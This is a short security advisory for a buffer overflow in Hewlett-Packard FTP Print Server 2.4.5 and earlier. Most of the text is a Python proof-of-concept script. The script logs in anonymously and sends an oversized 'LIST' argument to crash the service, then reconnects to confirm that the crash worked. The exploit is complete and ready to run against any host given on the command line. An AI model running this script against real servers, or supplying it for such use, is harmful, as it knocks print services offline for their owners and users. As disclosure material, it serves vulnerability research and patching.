[EXPL] Hewlett-Packard FTP Print Server Buffer Overflow (PoC)

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Hewlett-Packard FTP Print Server Buffer Overflow (PoC)
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SUMMARY

A vulnerability in Hewlett-Packard FTP Print Server application allows
remote code execution.

DETAILS

Vulnerable Systems:
* Hewlett-Packard FTP Print Server version 2.4.5 and prior.

PoC:
#!/usr/bin/python

import sys
from ftplib import FTP

print "Hewlett-Packard FTP Print Server Version 2.4.5 Buffer Overflow
(POC)"
print "Copyright (c) Joxean Koret"
print

if len(sys.argv) == 1:
print "Usage: %s <target>" % sys.argv[0]
sys.exit(0)

target = sys.argv[1]

print "[+] Running attack against " + target

try:
ftp = FTP(target)
except:
print "[!] Can't connect to target", target, ".", sys.exc_info()[1]
sys.exit(0)
try:
msg = ftp.login() # Login anonymously
print msg
except:
print "[!] Error logging anonymously.",sys.exc_info()[1]
sys.exit(0)

buf = "./A"
iMax = 9

for i in range(iMax):
buf += buf

print "[+] Sending buffer of",len(buf[0:3000]),"byte(s) ... "

try:
print "[+] Please, note that sometimes your connection will not be
dropped. "
ftp.retrlines("LIST " + buf[0:3000])
print "[!] Exploit doesn't work :("
print
sys.exit(0)
except:
print "[+] Apparently exploit works. Verifying ... "
print sys.exc_info()[1]

ftp2 = FTP(target)

try:
msg = ftp2.login()
print "[!] No, it doesn't work :( "
print
print msg
sys.exit(0)
except:
print "[+] Yes, it works."
print sys.exc_info()[1]


ADDITIONAL INFORMATION





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